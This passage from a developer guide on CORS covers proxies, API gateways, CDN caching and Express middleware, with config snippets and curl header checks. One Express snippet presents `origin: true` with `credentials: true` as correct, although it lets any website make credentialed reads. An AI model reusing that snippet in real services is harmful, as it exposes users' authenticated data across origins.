    'corsheaders.middleware.CorsMiddleware',  # Must be high in the list
    'django.middleware.common.CommonMiddleware',
    # ...
]

# Development
CORS_ALLOWED_ORIGINS = [
    'http://localhost:5173',
]

# If using cookie-based auth (Django sessions)
CORS_ALLOW_CREDENTIALS = True

vite.config.js (Vue uses Vite too):

export default defineConfig({
  server: {
    proxy: {
      '/api': {
        target: 'http://localhost:8000',
        changeOrigin: true,
      }
    }
  }
})

With the proxy configured, you don't even need django-cors-headers during development. The proxy handles it. You only need the CORS configuration for production if your API is on a separate domain.

Practical Setup: Next.js API Routes

Next.js is interesting because it can sidestep CORS entirely. If you use Next.js API routes, your API handlers run on the same origin as your frontend:

// app/api/users/route.js (Next.js App Router)
export async function GET() {
  const users = await db.query('SELECT * FROM users');
  return Response.json(users);
}
// In your component or client code
const res = await fetch('/api/users');

Same origin. No CORS. This is the ultimate "avoid CORS" strategy—put your API in your frontend framework.

But if your Next.js app calls an external API from the client side, you're back to CORS. The common pattern is to use Next.js API routes as a BFF (Backend for Frontend) that proxies to external services:

// app/api/users/route.js — acts as a proxy
export async function GET(request) {
  // Server-side fetch: no CORS restrictions
  const res = await fetch('https://api.internal.example.com/users', {
    headers: {
      'Authorization': `Bearer ${process.env.API_KEY}`,
    },
  });
  const data = await res.json();
  return Response.json(data);
}

The client calls /api/users (same origin). The Next.js server calls api.internal.example.com (server-to-server, no browser, no CORS). You get to keep your API keys on the server too. Everyone wins.

Environment-Based Configuration

A pattern I see in well-maintained SPAs: the API base URL comes from environment variables, and the dev proxy makes the default case "just work."

// config.js
export const API_BASE = import.meta.env.VITE_API_BASE || '';
// usage
fetch(`${API_BASE}/api/users`);

In development, VITE_API_BASE is not set, so it defaults to empty string, and requests go to the same origin (proxied by Vite). In production with a reverse proxy, same thing. In production with a separate API domain, you set VITE_API_BASE=https://api.example.com at build time.

DevTools: How to Confirm CORS Is Working

Open Chrome DevTools, go to the Network tab, and make your API request. Click on the request and look at:

  1. Request Headers: Look for the Origin header. If it's present, the browser considered this a cross-origin request. If it's absent, the request is same-origin (proxy is working).

  2. Response Headers: Look for Access-Control-Allow-Origin. If it matches your origin, CORS is properly configured. If it's missing, the server isn't sending CORS headers.

  3. Preflight requests: Filter by "Method: OPTIONS" in the Network tab. If you see OPTIONS requests before your actual requests, preflights are happening. If you don't see them, either the requests are simple requests or they're same-origin.

  4. The "(cors)" label: Chrome shows the request's initiator type. Cross-origin fetch requests show as "fetch" with CORS context. If you see a request failing with "(cors error)", the response headers are missing or incorrect.

To see the full picture, check "Disable cache" in DevTools. Preflight caching can hide issues during development.

Summary

The SPA CORS playbook:

PhaseStrategyCORS needed?
DevelopmentDev server proxy (Vite, webpack)No
Production (simple)Reverse proxy (Nginx, Caddy)No
Production (separate API domain)Proper CORS headers on APIYes
Next.js / full-stack frameworkAPI routes on same originNo

Use relative URLs in your frontend code (/api/users, not http://localhost:8080/api/users). This makes the same code work across all environments.

If you must use CORS in production, configure it properly on the server, set Access-Control-Max-Age, and test with curl before blaming the browser. The next two chapters cover exactly how to do that with API gateways and server frameworks.

CORS with API Gateways and Proxies

Here's the thing about CORS: the best CORS configuration is no CORS configuration. If you can architect your system so that the browser never makes a cross-origin request, you've eliminated an entire class of bugs, preflights, and confused Stack Overflow searches.

Reverse proxies, API gateways, and edge services are often the right place to make that happen—or, when CORS is unavoidable, the right place to configure it centrally instead of scattering Access-Control-Allow-Origin headers across every microservice in your fleet.

How Reverse Proxies Eliminate CORS

A reverse proxy sits between the browser and your backend services, presenting a single origin to the client. The browser talks to https://app.example.com. The reverse proxy routes requests internally based on path, hostname, or other rules. The backend servers could be running on different ports, different machines, even different data centers. The browser doesn't know and doesn't care.

                     ┌───────────────────────────────────┐
                     │         Reverse Proxy              │
Browser ──────────►  │  https://app.example.com           │
                     │                                    │
                     │  /             → frontend:3000     │
                     │  /api/users    → user-service:8081 │
                     │  /api/orders   → order-service:8082│
                     │  /api/auth     → auth-service:8083 │
                     └───────────────────────────────────┘

Every request from the browser goes to the same origin. No cross-origin requests. No CORS. The fact that five different backend services handle those requests is an implementation detail hidden behind the proxy.

This is, frankly, how most production web applications should be set up. CORS is for situations where you can't share an origin, not a tax you accept because you didn't think about your deployment architecture.

Nginx as a Reverse Proxy

Nginx is the most common way to achieve this. Here's a production-ready configuration:

upstream frontend {
    server 127.0.0.1:3000;
}

upstream api {
    server 127.0.0.1:8080;
}

server {
    listen 443 ssl http2;
    server_name app.example.com;

    ssl_certificate     /etc/letsencrypt/live/app.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/app.example.com/privkey.pem;

    # Frontend: serve static files or proxy to SSR server
    location / {
        root /var/www/app/dist;
        try_files $uri $uri/ /index.html;
    }

    # API: proxy to backend
    location /api/ {
        proxy_pass http://api;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # Important: do NOT add CORS headers here.
        # Same origin = no CORS needed.
    }
}

Test it with curl to confirm no CORS headers are involved:

# Request without Origin header (same-origin requests don't send one)
curl -v https://app.example.com/api/users

# No Access-Control-* headers in response — because none are needed

If your frontend is server-rendered (Next.js, Nuxt, etc.), replace the static file serving with another proxy_pass:

location / {
    proxy_pass http://frontend;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
}

When You Actually Need CORS: API Gateways

Sometimes you can't hide behind a reverse proxy. Your API serves multiple clients: a web app at app.example.com, a partner portal at partner.example.com, a mobile app (which doesn't have CORS, but hits the same endpoints). You need CORS, and you need it configured in one place rather than in every microservice.

API gateways are the natural place for this.

AWS API Gateway

AWS API Gateway has CORS support, but it's one of those features that's just confusing enough to generate a support ticket. There are two completely different places where CORS headers can be configured, and you probably need both.

For REST APIs (v1):

  1. Integration Response: These are the CORS headers returned on successful API calls. You configure them on each method's Integration Response or via a Gateway Response.

  2. Gateway Response: These handle cases where API Gateway itself rejects the request before it reaches your Lambda—things like authorization failures, throttling, or bad request format. If you only configure CORS on your Lambda, a 403 from the authorizer won't have CORS headers, and the browser will show a generic CORS error instead of the actual error.

In the AWS Console, for each resource:

  • Enable CORS on the resource (Actions → Enable CORS)
  • Set your allowed origins, methods, and headers
  • Deploy the API (people forget this step constantly)

Or via CloudFormation / SAM:

MyApi:
  Type: AWS::Serverless::Api
  Properties:
    StageName: prod
    Cors:
      AllowOrigin: "'https://app.example.com'"
      AllowMethods: "'GET,POST,PUT,DELETE,OPTIONS'"
      AllowHeaders: "'Content-Type,Authorization'"
      MaxAge: "'86400'"

Note the nested quotes. Yes, the single quotes inside the double quotes are required. Yes, this has caused thousands of hours of collective debugging time. The value is a string that gets placed verbatim into the header, so it needs to be a quoted string value.

For HTTP APIs (v2):

HTTP APIs have a simpler CORS configuration. In the console, go to your API → CORS, and fill in the fields. Or via CloudFormation:

MyHttpApi:
  Type: AWS::ApiGatewayV2::Api
  Properties:
    Name: my-api
    ProtocolType: HTTP
    CorsConfiguration:
      AllowOrigins:
        - https://app.example.com
      AllowMethods:
        - GET
        - POST
        - PUT
        - DELETE
        - OPTIONS
      AllowHeaders:
        - Content-Type
        - Authorization
      MaxAge: 86400

Much cleaner. HTTP APIs (v2) are generally preferred over REST APIs (v1) for new projects, and CORS configuration is one of the many reasons why.

The AWS CORS Trap:

Your Lambda returns a 200 with data. CORS headers are on the integration response. Everything works. Then one day your authorizer rejects a request. API Gateway returns a 403. The 403 has no CORS headers because the request never reached the integration. The browser sees a response without Access-Control-Allow-Origin and reports a CORS error. Your users see "CORS error" when the real problem is an expired token.

Fix: configure CORS headers on the Gateway Response (for REST APIs) or enable CORS at the API level (for HTTP APIs), so that every response—including errors generated by API Gateway itself—includes proper CORS headers.

# Test with curl to see what headers are on an error response
curl -v -X OPTIONS https://abc123.execute-api.us-east-1.amazonaws.com/prod/api/users \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization"

Kong

Kong handles CORS via a plugin:

curl -X POST http://kong:8001/services/my-api/plugins \
  --data "name=cors" \
  --data "config.origins=https://app.example.com" \
  --data "config.methods=GET,POST,PUT,DELETE,OPTIONS" \
  --data "config.headers=Content-Type,Authorization" \
  --data "config.max_age=86400" \
  --data "config.credentials=true"

Or declaratively in kong.yml:

plugins:
  - name: cors
    config:
      origins:
        - https://app.example.com
        - https://partner.example.com
      methods:
        - GET
        - POST
        - PUT
        - DELETE
        - OPTIONS
      headers:
        - Content-Type
        - Authorization
      max_age: 86400
      credentials: true

Kong's CORS plugin handles preflight responses automatically. It intercepts OPTIONS requests and responds without forwarding them to your upstream service. This is exactly what you want—your application code never needs to think about CORS.

Traefik

Traefik configures CORS via middleware, either in the static config or via Docker labels:

# traefik dynamic config
http:
  middlewares:
    cors-headers:
      headers:
        accessControlAllowOriginList:
          - "https://app.example.com"
          - "https://partner.example.com"
        accessControlAllowMethods:
          - GET
          - POST
          - PUT
          - DELETE
          - OPTIONS
        accessControlAllowHeaders:
          - Content-Type
          - Authorization
        accessControlMaxAge: 86400
        accessControlAllowCredentials: true

  routers:
    my-api:
      rule: "Host(`api.example.com`)"
      middlewares:
        - cors-headers
      service: my-backend

Or with Docker labels:

services:
  my-api:
    labels:
      - "traefik.http.middlewares.cors.headers.accessControlAllowOriginList=https://app.example.com"
      - "traefik.http.middlewares.cors.headers.accessControlAllowMethods=GET,POST,PUT,DELETE,OPTIONS"
      - "traefik.http.middlewares.cors.headers.accessControlAllowHeaders=Content-Type,Authorization"
      - "traefik.http.middlewares.cors.headers.accessControlMaxAge=86400"
      - "traefik.http.routers.my-api.middlewares=cors"

Cloudflare Workers as a CORS Proxy

Cloudflare Workers sit at the edge and can add CORS headers to any origin response. This is useful when you're calling a third-party API that doesn't support CORS (many don't) and you need to access it from browser JavaScript.

export default {
  async fetch(request) {
    const url = new URL(request.url);

    // Handle preflight
    if (request.method === 'OPTIONS') {
      return new Response(null, {
        headers: {
          'Access-Control-Allow-Origin': 'https://app.example.com',
          'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
          'Access-Control-Allow-Headers': 'Content-Type, Authorization',
          'Access-Control-Max-Age': '86400',
        },
      });
    }

    // Proxy the request to the upstream API
    const apiUrl = `https://third-party-api.com${url.pathname}${url.search}`;
    const response = await fetch(apiUrl, {
      method: request.method,
      headers: request.headers,
      body: request.body,
    });

    // Clone the response and add CORS headers
    const newResponse = new Response(response.body, response);
    newResponse.headers.set('Access-Control-Allow-Origin', 'https://app.example.com');
    return newResponse;
  },
};

Deploy this worker on a route like cors-proxy.example.com, and your frontend calls it instead of the third-party API directly. The worker adds the CORS headers that the third-party API doesn't provide.

Word of caution: don't build an open CORS proxy that allows any origin to access any URL. That's a security liability. Always restrict the allowed origins and the upstream URLs.

The BFF Pattern: Why It Sidesteps CORS Entirely

The Backend for Frontend (BFF) pattern puts a thin server layer between your frontend and your backend services. The BFF runs on the same origin as the frontend, so the browser makes same-origin requests. The BFF then calls your microservices server-to-server, where CORS doesn't apply.

Browser (app.example.com)
    │
    │ same-origin requests
    ▼
BFF (app.example.com/api/*)
    │
    │ server-to-server (no CORS)
    ├──► User Service (internal)
    ├──► Order Service (internal)
    └──► Auth Service (internal)

The BFF can:

  • Aggregate data from multiple microservices into a single response
  • Handle authentication and token management
  • Translate between frontend-friendly and backend-specific data formats
  • Keep API keys and secrets on the server

Next.js API routes, Nuxt server routes, and SvelteKit server endpoints are all BFF implementations. They solve CORS by architecture rather than configuration.

CORS at the Edge: CDN Considerations

If your API responses are cached by a CDN (CloudFront, Cloudflare, Fastly), CORS adds a wrinkle: the Origin header varies between clients, but CDNs cache based on URL by default. A request from app.example.com gets cached, and when partner.example.com makes the same request, the CDN serves the cached response with Access-Control-Allow-Origin: https://app.example.com. The partner's browser rejects it.

The fix: include Origin in the cache key.

CloudFront: Add Origin to the cache policy's header whitelist, or use an origin request policy that forwards the Origin header to your backend.

{
  "CachePolicyConfig": {
    "ParametersInCacheKeyAndForwardedToOrigin": {
      "HeadersConfig": {
        "HeaderBehavior": "whitelist",
        "Headers": {
          "Items": ["Origin"]
        }
      }
    }
  }
}

Cloudflare: Use a Cache Key custom rule that includes the Origin header.

Fastly: Add Origin to the Vary header in your backend response, and configure Fastly to respect Vary.

Alternatively, your origin server should set Vary: Origin on any response that includes Access-Control-Allow-Origin. This tells the CDN (and any intermediate cache) that the response varies based on the Origin header and should not be served to requests with a different Origin.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Vary: Origin
Content-Type: application/json

The Vary: Origin header is easy to forget and painful to debug. If your CORS works fine without a CDN but breaks with one, this is almost certainly the issue.

Multiple Origins: The Allowlist Pattern

CORS has no native support for multiple origins. The Access-Control-Allow-Origin header takes exactly one value: either a single origin or *. You can't do this:

# THIS DOES NOT WORK
Access-Control-Allow-Origin: https://app.example.com, https://partner.example.com

You also can't do wildcard subdomains:

# THIS DOES NOT WORK EITHER
Access-Control-Allow-Origin: *.example.com

The standard pattern for supporting multiple origins is:

  1. Maintain an allowlist of permitted origins
  2. Read the Origin header from the incoming request
  3. Check if it's in the allowlist
  4. If yes, echo it back as the Access-Control-Allow-Origin value
  5. If no, either omit the header or return a 403

Here's the pattern in Node.js:

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://partner.example.com',
  'https://staging.example.com',
]);

function getCorsOrigin(requestOrigin) {
  if (ALLOWED_ORIGINS.has(requestOrigin)) {
    return requestOrigin;
  }
  return null;
}

// In your middleware
const origin = req.headers.origin;
const allowedOrigin = getCorsOrigin(origin);
if (allowedOrigin) {
  res.setHeader('Access-Control-Allow-Origin', allowedOrigin);
  res.setHeader('Vary', 'Origin');  // Critical!
}

The Vary: Origin header is mandatory when you dynamically set Access-Control-Allow-Origin based on the request. Without it, a CDN or browser cache might serve a response with the wrong origin to a different client.

For wildcard subdomain matching:

function isAllowedOrigin(origin) {
  if (!origin) return false;

  // Exact matches
  if (ALLOWED_ORIGINS.has(origin)) return true;

  // Subdomain wildcard: *.example.com
  try {
    const url = new URL(origin);
    return url.hostname.endsWith('.example.com') && url.protocol === 'https:';
  } catch {
    return false;
  }
}

Be careful with subdomain matching. If you allow *.example.com, make sure you trust all subdomains. A compromised blog.example.com could make cross-origin requests to your API. Only use wildcard subdomain matching when you control all subdomains.

Where Should CORS Headers Be Added?

In a multi-layer architecture, there are several places you could add CORS headers:

Browser → CDN/Edge → Load Balancer → API Gateway → Application

The rule: add CORS headers in exactly one place. I don't care which layer you choose, but pick one and only one. Here's how to decide:

LayerWhen to use
CDN/Edge (Cloudflare Workers, CloudFront Functions)When you need CORS on static assets or want to handle it before any backend logic
API Gateway (Kong, AWS APIGW, Traefik)When you have multiple backend services and want centralized CORS policy
Application (Express middleware, Django middleware)When CORS rules vary per route or depend on application logic
Reverse proxy (Nginx)When Nginx is already your edge and you want simple, centralized config

The Double CORS Headers Problem

This is, without exaggeration, the most common CORS misconfiguration I see in production systems. It happens when CORS headers are added at multiple layers in the stack.

Scenario: your Express app uses the cors middleware, and your Nginx reverse proxy adds CORS headers. The browser receives:

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Origin: https://app.example.com

You might think "well, they're the same value, what's the problem?" The problem is that the HTTP spec says Access-Control-Allow-Origin must appear at most once, and browsers reject responses with duplicate values. The actual error in Chrome:

Access to fetch at 'https://api.example.com/data' from origin
'https://app.example.com' has been blocked by CORS policy: The
'Access-Control-Allow-Origin' header contains multiple values
'https://app.example.com, https://app.example.com', but only one
is allowed.

You configured CORS correctly in two places, and it broke harder than if you'd configured it in zero places. Wonderful.

Diagnose it with curl:

curl -v https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  2>&1 | grep -i "access-control"

If you see duplicate headers, you need to figure out which layer is adding them and remove one.

Quick Nginx fix: If your application already handles CORS, make sure Nginx doesn't add its own headers. If Nginx is supposed to handle CORS, strip any CORS headers the backend sends:

location /api/ {
    proxy_pass http://api;

    # Remove CORS headers from backend response
    proxy_hide_header Access-Control-Allow-Origin;
    proxy_hide_header Access-Control-Allow-Methods;
    proxy_hide_header Access-Control-Allow-Headers;
    proxy_hide_header Access-Control-Allow-Credentials;

    # Add CORS headers at this layer only
    add_header Access-Control-Allow-Origin "https://app.example.com" always;
    add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
    add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
    add_header Access-Control-Max-Age 86400;
}

The always parameter on add_header is important—without it, Nginx only adds the header on successful (2xx) responses, not on error responses. You need CORS headers on error responses too, or the browser will mask your actual errors behind a generic CORS failure.

Load Balancers and CORS

Load balancers (AWS ALB, Google Cloud Load Balancer, HAProxy) are generally not the right place for CORS. They're designed to distribute traffic, not to modify HTTP headers. While some load balancers support header manipulation, it's usually limited and awkward.

The exception is AWS Application Load Balancer, which can add fixed response headers via listener rules. But for dynamic CORS (where the Access-Control-Allow-Origin value depends on the request's Origin header), an ALB isn't expressive enough. Use an API gateway or application-level middleware instead.

If your load balancer sits in front of an API gateway:

Browser → Load Balancer → API Gateway (CORS here) → Backend

Let the API gateway handle CORS. The load balancer just passes traffic through.

Debugging CORS in Proxied Architectures

When CORS isn't working in a proxied setup, here's the debugging checklist:

1. Is the Origin header reaching the right layer?

# Check if your proxy forwards the Origin header
curl -v https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  2>&1 | grep -i "access-control-allow-origin"

If the response has no Access-Control-Allow-Origin, either the layer handling CORS isn't receiving the Origin header, or it's not configured to respond to that origin.

2. Is the preflight reaching the right layer?

curl -v -X OPTIONS https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization"

Some proxies and load balancers don't forward OPTIONS requests. If your API gateway handles CORS, it needs to see the OPTIONS request. Make sure nothing upstream is swallowing it.

3. Are there duplicate CORS headers?

curl -s -D - https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  -o /dev/null | grep -i "access-control"

If you see any header listed twice, you have a double-header problem.

4. Does the Vary header include Origin?

curl -s -D - https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  -o /dev/null | grep -i "vary"

If you're dynamically setting Access-Control-Allow-Origin based on the request and the Vary header doesn't include Origin, you'll get caching bugs.

Summary

The hierarchy of CORS strategies for proxied architectures:

  1. Eliminate CORS: Use a reverse proxy to serve frontend and API from the same origin. No CORS headers needed.
  2. Centralize CORS: If you need multiple origins, handle CORS in one layer—your API gateway or reverse proxy—not in every microservice.
  3. Don't double up: If your application handles CORS, strip CORS headers at the proxy layer (or vice versa). Duplicate headers break everything.
  4. Cache correctly: Use Vary: Origin on any response where Access-Control-Allow-Origin is dynamic. Include Origin in CDN cache keys.
  5. Test with curl: Browsers hide CORS details in DevTools. Use curl to see the raw headers and verify your configuration at each layer.

CORS in Express and Node

If you've read this far, you understand what CORS headers do and why they exist. Now let's get concrete. This chapter is about setting those headers in Node.js—primarily in Express, which remains the most widely used Node.js web framework, but also in Fastify, Hono, and raw http.createServer. By the end, you'll have working code you can drop into a project, not cargo-culted snippets you found on Stack Overflow at 2 AM.

The cors npm Package: What It Does Under the Hood

The cors package is just middleware that sets response headers. That's it. There's no magic, no special browser communication protocol, no WebSocket handshake. It reads the incoming request, decides which CORS headers to set, and sets them.

Here's roughly what cors() does when called with no options:

// Simplified version of what cors() does internally
function cors(req, res, next) {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Methods', 'GET,HEAD,PUT,PATCH,POST,DELETE');
  res.setHeader('Access-Control-Allow-Headers',
    req.headers['access-control-request-headers'] || '');

  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Max-Age', '0');
    res.statusCode = 204;
    res.end();
    return;
  }

  next();
}

That's the core logic. It echoes back whatever Access-Control-Request-Headers the browser sends (effectively allowing all headers), sets Access-Control-Allow-Origin: *, and short-circuits OPTIONS requests with a 204.

The real package has more options and edge case handling, but understanding this core helps you debug problems. If your CORS isn't working with the cors package, the issue is almost always: the middleware isn't running for the request in question (ordering problem), or the options you passed don't match what you think they do.

Basic Usage: app.use(cors())

Install it:

npm install cors

The simplest possible usage:

const express = require('express');
const cors = require('cors');

const app = express();
app.use(cors());

app.get('/api/public', (req, res) => {
  res.json({ message: 'This is accessible from any origin' });
});

app.listen(8080);

What cors() with no arguments sets on every response:

Access-Control-Allow-Origin: *

And on preflight responses (OPTIONS):

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: <whatever was in Access-Control-Request-Headers>

Let's verify with curl:

# Regular request
curl -v http://localhost:8080/api/public \
  -H "Origin: https://any-website.com"

# You should see:
# < Access-Control-Allow-Origin: *
# Preflight request
curl -v -X OPTIONS http://localhost:8080/api/public \
  -H "Origin: https://any-website.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization"

# You should see:
# < Access-Control-Allow-Origin: *
# < Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
# < Access-Control-Allow-Headers: Content-Type, Authorization

This is fine for genuinely public APIs. For anything with authentication, you need to be more specific.

Configuring Specific Origins, Methods, and Headers

const corsOptions = {
  origin: 'https://app.example.com',
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400,
};

app.use(cors(corsOptions));

What this sets:

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

Important options breakdown:

OptionWhat it controlsDefault
originAccess-Control-Allow-Origin*
methodsAccess-Control-Allow-MethodsGET,HEAD,PUT,PATCH,POST,DELETE
allowedHeadersAccess-Control-Allow-HeadersReflects Access-Control-Request-Headers
exposedHeadersAccess-Control-Expose-HeadersNone
credentialsAccess-Control-Allow-Credentialsfalse (header omitted)
maxAgeAccess-Control-Max-AgeNone (header omitted)
preflightContinuePass OPTIONS to next handler instead of respondingfalse
optionsSuccessStatusStatus code for OPTIONS responses204

The exposedHeaders option is one people frequently miss. By default, JavaScript can only read a handful of "CORS-safelisted" response headers: Cache-Control, Content-Language, Content-Length, Content-Type, Expires, Last-Modified, and Pragma. If your API returns custom headers that the frontend needs to read (like X-Total-Count for pagination), you must expose them:

const corsOptions = {
  origin: 'https://app.example.com',
  exposedHeaders: ['X-Total-Count', 'X-Request-Id'],
};

Without this, response.headers.get('X-Total-Count') returns null in the browser even though the header is clearly visible in the Network tab. I've seen developers spend hours debugging this, convinced the header "isn't being sent" when it's actually being hidden by CORS.

Dynamic Origin Validation with a Function

For multiple allowed origins, pass a function:

const allowedOrigins = [
  'https://app.example.com',
  'https://staging.example.com',
  'https://partner.example.com',
];

const corsOptions = {
  origin: function (origin, callback) {
    // Allow requests with no origin (mobile apps, curl, server-to-server)
    if (!origin) return callback(null, true);

    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error(`Origin ${origin} not allowed by CORS`));
    }
  },
  credentials: true,
};

app.use(cors(corsOptions));

When the function calls callback(null, true), the cors middleware sets Access-Control-Allow-Origin to the value of the incoming Origin header. It also adds Vary: Origin automatically—this is important for caching correctness.

When the function calls callback(new Error(...)), Express passes the error to the next error handler. The response won't have CORS headers, and the browser will block the request.

A note on the !origin check: browsers always send the Origin header on cross-origin requests, but they don't send it on same-origin requests or for non-browser clients. If you're calling your API from Postman, curl, or a mobile app, origin will be undefined. Rejecting those requests would break your non-browser clients. Whether you want to allow originless requests depends on your security model.

For wildcard subdomain matching:

const corsOptions = {
  origin: function (origin, callback) {
    if (!origin) return callback(null, true);

    try {
      const url = new URL(origin);
      if (url.hostname === 'example.com' ||
          url.hostname.endsWith('.example.com')) {
        return callback(null, true);
      }
    } catch (e) {
      // Invalid origin URL
    }

    callback(new Error(`Origin ${origin} not allowed by CORS`));
  },
};

Per-Route CORS Configuration

You don't have to apply the same CORS policy to every route. The cors middleware can be applied per-route:

const publicCors = cors(); // Allow all origins
const restrictedCors = cors({
  origin: 'https://app.example.com',
  credentials: true,
});

// Public endpoints: any origin
app.get('/api/health', publicCors, (req, res) => {
  res.json({ status: 'ok' });
});

app.get('/api/public-data', publicCors, (req, res) => {
  res.json({ data: '...' });
});

// Restricted endpoints: specific origin only
app.get('/api/users', restrictedCors, (req, res) => {
  res.json([{ id: 1, name: 'Alice' }]);
});

app.post('/api/users', restrictedCors, (req, res) => {
  // ...
});

There's a subtlety here with preflights. When the browser sends an OPTIONS request to /api/users, Express needs to handle it. If you're using per-route CORS, you need to also handle OPTIONS for those routes:

// Handle preflight for restricted routes
app.options('/api/users', restrictedCors);
app.get('/api/users', restrictedCors, (req, res) => { /* ... */ });
app.post('/api/users', restrictedCors, (req, res) => { /* ... */ });

Or enable preflight across all routes:

// Handle preflight for all routes (safe—OPTIONS by itself doesn't do anything)
app.options('*', cors());

Handling Preflight: The OPTIONS Problem

This is the #1 Express CORS mistake. Let's spell it out.

When a browser needs to preflight a request, it sends an OPTIONS request to the same URL. If your Express app doesn't have a handler for OPTIONS on that URL, Express returns a 404. The 404 has no CORS headers. The browser sees a failed preflight and blocks the actual request.

In DevTools, you'll see:

OPTIONS /api/users 404 (Not Found)

Followed by the CORS error on the actual request that never gets sent.

If you use app.use(cors()) as global middleware, this is handled for you—the middleware runs on all requests including OPTIONS, sets the headers, and responds with 204.

If you use per-route CORS, you must explicitly handle OPTIONS:

// Option 1: Handle OPTIONS globally
app.options('*', cors());

// Option 2: Handle OPTIONS per route
app.options('/api/users', cors({ origin: 'https://app.example.com' }));

Let's test that preflights work:

curl -v -X OPTIONS http://localhost:8080/api/users \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: DELETE" \
  -H "Access-Control-Request-Headers: Authorization"

# Expected: 204 with CORS headers
# If you get 404: OPTIONS isn't handled
# If you get 200 with HTML: Express is sending the GET handler response

Common Express CORS Mistakes

I've debugged enough Express CORS configurations to have a greatest hits list. Here they are, in order of frequency.

Mistake 1: Middleware Order

// WRONG: routes registered before CORS middleware
app.get('/api/users', (req, res) => { res.json([]); });
app.use(cors()); // Too late—requests to /api/users already have a handler
// RIGHT: CORS middleware before routes
app.use(cors());
app.get('/api/users', (req, res) => { res.json([]); });

Express middleware runs in the order it's registered. If your route handler runs before the CORS middleware, the response won't have CORS headers. Put cors() at the top of your middleware stack.

Mistake 2: Not Handling OPTIONS

Already covered above, but it bears repeating. If you see OPTIONS 404 in your network tab, you're not handling preflight requests.

Mistake 3: Double Headers from Express and a Reverse Proxy

If both your Express app and your Nginx proxy add CORS headers, the browser receives duplicate headers and rejects the response. Pick one layer to handle CORS and strip headers from the other. See the previous chapter for the Nginx proxy_hide_header approach.

Check with curl:

curl -v https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  2>&1 | grep -c "Access-Control-Allow-Origin"

# If this prints "2", you have double headers

Mistake 4: Using credentials: true with origin: '*'

// WRONG: this combination is forbidden by the spec
app.use(cors({
  origin: '*',         // Or just omitting origin (defaults to *)
  credentials: true,
}));

The CORS spec explicitly forbids Access-Control-Allow-Origin: * when Access-Control-Allow-Credentials: true is set. The cors package actually handles this correctly—if you pass origin: true, it reflects the request origin. But if you pass origin: '*' and credentials: true, the browser will reject every credentialed request.

// RIGHT: use a specific origin or dynamic validation
app.use(cors({
  origin: 'https://app.example.com',
  credentials: true,
}));

// Also RIGHT: origin: true reflects the request's Origin header
app.use(cors({
  origin: true,
  credentials: true,
}));

Mistake 5: Forgetting exposedHeaders

Your API returns X-Total-Count: 42 in the response. Your frontend JavaScript tries to read it:

const response = await fetch('https://api.example.com/api/users');
console.log(response.headers.get('X-Total-Count')); // null!

The header is there—you can see it in DevTools under Response Headers. But JavaScript can't access it because CORS hides all non-safelisted response headers by default.

app.use(cors({
  origin: 'https://app.example.com',
  exposedHeaders: ['X-Total-Count'],
}));

Now response.headers.get('X-Total-Count') returns "42".

Mistake 6: Error Responses Without CORS Headers

Your API throws an unhandled error. Express sends a 500 response. But the error handler doesn't set CORS headers. The browser sees a response without Access-Control-Allow-Origin and shows... a CORS error. Not the 500. Not the stack trace. Just "blocked by CORS policy."

Make sure your error handler includes CORS headers, or make sure the CORS middleware runs before the error can prevent it. With app.use(cors()) as the first middleware, this is usually handled—the headers are set before any route logic runs.

But watch out for errors thrown in middleware before cors:

// WRONG: body parser might throw before cors runs
app.use(express.json({ limit: '1kb' })); // throws on large bodies
app.use(cors());

// RIGHT: cors first
app.use(cors());
app.use(express.json({ limit: '1kb' }));

Node.js Without Express: Manual CORS Headers

If you're using raw http.createServer (or migrating off Express), here's how to handle CORS manually:

const http = require('http');

const ALLOWED_ORIGIN = 'https://app.example.com';

const server = http.createServer((req, res) => {
  // Set CORS headers on every response
  const origin = req.headers.origin;
  if (origin === ALLOWED_ORIGIN) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }

  // Handle preflight
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400');
    res.writeHead(204);
    res.end();
    return;
  }

  // Your actual route handling
  if (req.method === 'GET' && req.url === '/api/users') {
    res.writeHead(200, { 'Content-Type': 'application/json' });
